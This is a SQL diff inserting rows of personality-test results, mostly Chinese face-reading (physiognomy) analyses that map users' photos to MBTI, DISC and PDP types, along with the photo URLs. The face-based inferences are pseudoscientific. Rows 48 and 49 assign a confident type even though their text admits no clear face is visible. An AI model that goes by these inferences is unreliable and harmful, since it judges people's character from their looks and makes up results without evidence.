+INSERT INTO `mbti_test_results` VALUES (45, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻内敛,洞察力强,重视内在秩序与价值感,适合深度思考与长期规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉均匀不突兀,线条修长而不失韧性,决断偏稳健,抗压以内在消化和持久推进为主。\", \"faceAnalysis\": \"额头柔和偏高、眼神安静专注、鼻梁清秀、嘴唇自然内收,下巴略尖带柔韧感,整体显理性含蓄。\", \"personalitySummary\": \"性格安静理性,重视思考与自我空间,做事有计划、有责任感,人际中温和有边界,偏向深度创造与独立完成型任务。\"}', NULL, NULL, 1, 0, 100, NULL, 1772263566, 1772263566, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (46, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,善于互动与激励他人,适合创造性与变化性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强但肉感充足,气质温和包容,稳定安全,耐受与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微翘显顺,人缘佳、亲和力强。\", \"personalitySummary\": \"外向热情,善于表达与倾听,重视情感连接与深度交流,富有想象力和创造力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263697, 1772263697, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (47, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,好奇心强,擅长与人连接并营造轻松氛围,适合创造性与互动性强的领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与环境适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,嘴部微翘,表情单纯好奇,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"外向友好,内在敏感细腻,重视情感与深度交流;做事富有热情与创造力,乐于探索新事物并带动周围人。\"}', NULL, 38, 1, 1, 1, 1772263738, 1772263728, 1772263740, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (48, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"抽象思维突出,重视逻辑与系统性,擅长在不完整信息中构建结构化判断与远期规划。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg\"], \"boneAnalysis\": \"由于无清晰头面部骨骼轮廓可见,只能假设其偏理性稳健型骨相,重视结构与秩序。\", \"faceAnalysis\": \"当前图片未呈现清晰人脸,仅见强光与天花板结构,无法进行具体面相部位分析。\", \"personalitySummary\": \"倾向独立思考与理性决策,偏内向克制,重视规则和系统,追求长期价值与持续优化。\"}', NULL, 40, 1, 1, 1, 1772273330, 1772273315, 1772273332, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (49, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、重视结构与规划,做事有节奏感和持久度,适合承担复杂决策与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg\"], \"boneAnalysis\": \"面部骨相信息严重不足,仅见额区与侧面轮廓一角,暂以骨感偏分明、整体偏理性稳健气质作抽象模拟。\", \"faceAnalysis\": \"从现有画面仅能见少量发际与轮廓,无法完整依据传统面相做部位细分判断,只可保守推定为偏理性内敛气质。\", \"personalitySummary\": \"模拟类型偏内向思考者,重逻辑与系统性,行事谨慎务实,专注长期目标与专业深耕,在独立思考和策略规划中更能发挥优势。\"}', NULL, NULL, 1, 0, 1, NULL, 1772422915, 1772422915, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (50, 6, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-02T03:42:57.180Z\", \"confidence\": 100, \"completedAt\": \"2026-03-02T03:42:57.180Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 37, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1772422977, 1772422977, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (51, 7, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、目标导向清晰,擅长规划与执行,在结构化环境中表现突出,具长远发展潜力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg\"], \"boneAnalysis\": \"骨相端正,颧鼻协调不突兀,颌骨结实承载力强,上停与中停均衡,属稳健开拓型格局,适合担纲核心责任。\", \"faceAnalysis\": \"额头平阔饱满,眉眼清晰专注,鼻梁端正略挺,嘴型收敛有度,下巴方正有力,整体显沉稳理性与执行力。\", \"personalitySummary\": \"思维缜密,有规划意识与责任感,行动节奏稳中有进,对目标坚持度高,处事理性克制,人际中略带距离感但可信赖。\"}', NULL, NULL, 1, 0, 1, NULL, 1772428086, 1772428086, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (52, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静克制,思维细腻深邃,兼具理性分析与温和共情,适合在稳定而需创意与规划的环境中长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨量匀称偏纤细,为木水兼具之相,骨感不突兀而脉络清晰,格局重于思考与审美判断,擅长以柔性持续承压。\", \"faceAnalysis\": \"额头偏高饱满,眼神柔中带定,鼻梁清秀,唇形收敛,下巴略尖,整体给人理性内向、思路清晰而不张扬之感。\", \"personalitySummary\": \"内向深思型,重视原则与边界,做事有规划感与责任心;情绪外显不多却具同理心,人际偏安静克制,习惯以专业与作品说话。\"}', NULL, NULL, 1, 0, 2, NULL, 1772518933, 1772518933, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (53, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、冷静克制,擅长体系化规划与长期布局,重视效率与结果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨骼匀称不突兀,颧鼻稳而不霸,下颌承载力佳,上停清朗、中停坚实、下停厚稳,格局重在谋划与稳健推进。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳专注,鼻梁挺直收束有力,嘴型紧实偏直率,下颌轮廓清晰,整体给人理性克制、目标明确之感。\", \"personalitySummary\": \"内向理性,重视逻辑与结构,决策审慎而有主见;偏好独立思考与深度研究,人际保持适度距离,擅长在复杂情境中制定长期策略并稳步推进。\"}', NULL, NULL, 1, 0, 2, NULL, 1772520541, 1772520541, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (54, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密果断,擅长抽象推演与系统规划,重视长期价值与可控风险。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨架清晰而不突兀,颧区略显力量但内敛,将军骨与下颌稳固,属稳健谋划型格局,重视结构与秩序。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注内敛,鼻梁端正稳健,嘴型收敛有度,下巴轮廓分明,整体给人理性、克制且有主见的印象。\", \"personalitySummary\": \"性格独立冷静,逻辑感强,偏内向思考型,重视规则与效率,做事有计划、有原则,关注长期布局,社交上有边界感但可靠可信。\"}', NULL, 52, 1, 0, 200, NULL, 1772520586, 1772520593, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (55, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性缜密、目标清晰,重视长期布局与系统性成就,兼具专注深耕与稳健掌控能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨架端正紧致,五行为金水兼具,骨肉停匀,颧骨含而不露、下颌稳实,格局偏中高,宜以智谋统筹和专业深耕见长。\", \"faceAnalysis\": \"额头饱满开阔,眼神内敛而专注,鼻梁端正稳固,唇形收敛理性,下巴略方显坚毅,整体面相偏冷静克制。\", \"personalitySummary\": \"思维高度抽象与系统化,重逻辑与效率,做事有计划有节奏,人际交往内敛克制但可靠,擅在相对独立和高要求环境中发挥战略与专业优势。\"}', NULL, 54, 1, 0, 2, NULL, 1772520623, 1772523215, 6, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (56, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"思维谨慎稳健,重视现实与责任,做事有规划,能在长期项目和复杂环境中稳定推进目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg\"], \"boneAnalysis\": \"骨相偏土金形,骨肉匀称略偏厚重,颧骨不张但有力,下颌承载感强,整体气质务实稳健,以守成见长。\", \"faceAnalysis\": \"额头宽平、眼神内敛稳定,鼻梁端正偏实,嘴型收敛,下颌与腮部较厚,整体表情克制理性。\", \"personalitySummary\": \"性格内敛理智,责任心强,重视规则和秩序,做事有条理有耐心,偏向深思熟虑后再行动,可靠可信,适合承担长期稳定而关键的职责。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535666, 1772535666, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (57, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实,思路清晰,重视责任与结果,适合承担长期稳定而高标准的工作任务。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨感含蓄不外露,颧骨内敛带角,面廓偏长方形,上停与中停协调,下颌骨线条清楚,属稳健持久型格局。\", \"faceAnalysis\": \"额头平阔顺正,眼神沉稳内敛,鼻梁端正,嘴型收敛,下巴略尖偏窄,整体五官紧致理性。\", \"personalitySummary\": \"性格内敛谨慎,有条理而重规则,做事稳妥细致,抗压能力佳但情绪表达节制,更偏向理性分析与实际成效。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535717, 1772535717, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (58, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实细致、思路清晰,责任感强,重视承诺与结果,适合稳健推进型工作与管理角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛不张扬,颌骨稳厚承载力佳,骨肉均衡,格局以稳健守成、注重长期积累见长。\", \"faceAnalysis\": \"额头开阔偏方,眼神凝定带戒心,鼻梁顺直山根清晰,嘴形收敛有度,下巴略方,整体给人理性稳重、做事有分寸感。\", \"personalitySummary\": \"性格内敛理性,重视秩序与规则,行事谨慎踏实,有担当不轻言放弃,对自己和他人要求较高,适合负责关键细节与长线项目。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535749, 1772535749, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (59, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、判断稳重,擅长规划与分析,重视长期价值与现实落地,适合在复杂环境中做决策与统筹。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg\"], \"boneAnalysis\": \"五行偏土金形,骨架端正不夸张,骨肉均衡偏含蓄,决断稳中带慎,抗压方式以冷静思考、稳健推进为主,擅长在中长期阶段持续发力。\", \"faceAnalysis\": \"额头较饱满,眼神内敛专注,鼻梁端正,嘴型收敛,下巴略内收但轮廓清晰,整体给人理性、稳重、审慎之感。\", \"personalitySummary\": \"性格内敛理性,重视逻辑与结构,做事先谋后动,偏好独立思考与深度研究,人际上有边界感但可靠度高,适合作为长期项目与关键事务的负责人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535779, 1772535779, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (60, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,创意十足,擅长用幽默与热情影响他人,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面部线条柔中带劲,骨感不重但轮廓清晰,属于火木偏盛之相,重在灵动与扩散影响力。\", \"faceAnalysis\": \"圆润额头与上扬眉眼给人亲和感和少年气,神态生动,情绪表达自然,善于拉近人际距离。\", \"personalitySummary\": \"重视兴趣与价值认同,直觉主导,点子多,表达欲强,乐于社交与分享,喜欢在轻松自由的环境中高效输出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772607899, 1772607899, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (61, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情,创意十足,善于沟通与启发他人,适合需要人际互动和创意表达的领域。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相柔中带刚,上庭开朗,中停丰盈,下停稳实,整体气质活跃而不失稳定支撑。\", \"faceAnalysis\": \"五官圆润亲和,笑意明显,整体给人开放友善、易于接近且富有幽默感的印象。\", \"personalitySummary\": \"思维发散、有想象力,重视情感与价值认同,人际表达自然灵活,乐于尝试新事物并激发团队氛围。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608243, 1772608243, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (62, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,有创意与感染力,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"上停饱满、颧区柔和不突,中停与下停过渡圆顺,骨感适中,重在亲和力与适配力而非强势掌控。\", \"faceAnalysis\": \"额头圆润开阔,眼神生动带笑,嘴角上扬,整体给人亲切乐观、灵动机敏的印象。\", \"personalitySummary\": \"性格热情真诚,富有好奇心与想象力,乐于表达与分享,善于激励他人与营造轻松氛围,创意多且点子活跃。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608768, 1772608768, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (63, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情、思维活跃,善于启发他人与整合资源,适合在变化环境中发挥影响力与创造力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"颧骨与下颌圆润不失力度,骨肉匀称,属木火偏旺之相,重在创意表达与人际影响,抗压方式以灵活变通为主。\", \"faceAnalysis\": \"额头饱满开阔,眼神灵动带笑,鼻口协调度高,整体面相亲和中带果断,善社交且具一定执行力。\", \"personalitySummary\": \"性格开朗真诚,思维发散而富想象,重视价值与理想,待人友善有感染力,适合在团队中承担创意与联络角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772768944, 1772768944, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (64, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"形象开朗温和,思维活跃有创意,人际感知敏锐,适合做连接资源、启发他人的角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相圆润不突兀,骨肉均衡,气质偏灵动与亲和,重在人缘与适应力而非强势压迫感。\", \"faceAnalysis\": \"额头圆阔,五官柔和舒展,笑眼弯弯,整体给人亲切、外向、易亲近的印象。\", \"personalitySummary\": \"热情友好,想象力强,重视价值与意义,善于与人沟通联结,适合在多变环境中发挥创意与影响力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772769074, 1772769074, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (65, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、重视逻辑与结构,擅长规划与评估,在稳定框架中持续优化与精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相匀称偏稳,颧额不过分外张,属谋划与判断型,多以深思熟虑与持续精进取胜。\", \"faceAnalysis\": \"额庭饱满、眼神专注,鼻部端正,嘴角收敛,整体给人理性内敛、思考充分后再行动的印象。\", \"personalitySummary\": \"理性冷静,重视体系与长远收益,偏内向不事张扬,做事有计划感与原则边界,适合策略规划与专业深耕。\"}', NULL, NULL, 1, 0, 100, NULL, 1772777210, 1772777210, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (66, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、擅长系统规划与判断,全局视角突出,适合承担决策与策略类核心岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相端正不张扬,骨肉均衡偏理性持重型,颧区与下颌承载力佳,属稳中带锋,长线发展潜力强。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注稳定,鼻梁端正有力,嘴型收敛清晰,下巴稳实,整体给人思虑深远、行事有度的印象。\", \"personalitySummary\": \"思维缜密独立,重逻辑与结构,决策前充分评估风险与收益,人际中有边界感但可靠度高,善于在复杂环境中找到最优解。\"}', NULL, NULL, 1, 0, 101, NULL, 1772777310, 1772777310, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (67, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 8, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:09:01.675Z\", \"confidence\": 100, \"completedAt\": \"2026-03-06T06:09:01.675Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 18, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 8, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, 101, NULL, 1772777341, 1772777341, NULL, 'personal');
